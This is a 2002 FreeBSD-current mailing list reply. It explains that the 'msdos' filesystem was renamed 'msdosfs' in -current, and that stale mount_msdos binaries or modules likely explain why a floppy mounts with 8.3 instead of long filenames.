List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 22 Jun 2002, Jan Stocker wrote:

> i am sure on my old 4.x system i was able to mount my floppy-disc and
> can use long filenames, but on my -current
>
> mount -t msdos /dev/fd0 /mnt
>
> leads to 8.3 lowercase
> and
>
> mount -t msdos /dev/fd0c /mnt
>
> the first time to 8.3 uppercase and the following to 8.3 lowercase...

msdos doesn't exist in -current (it has been renamed to msdosfs), so
"mount -t msdos ..." should just print a message about mount_msdos
not being found.  Perhaps you have an old version of mount_msdos.  It
might not work, since the mount family is one of the main areas where
-current breaks binary compatibility.  Similarly for the msdos module,
except breakage of binary compatibility is normal for all modules.
Getting a different result the second time (after loading a module)
looks more like a problem with the module than with the mount program.

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message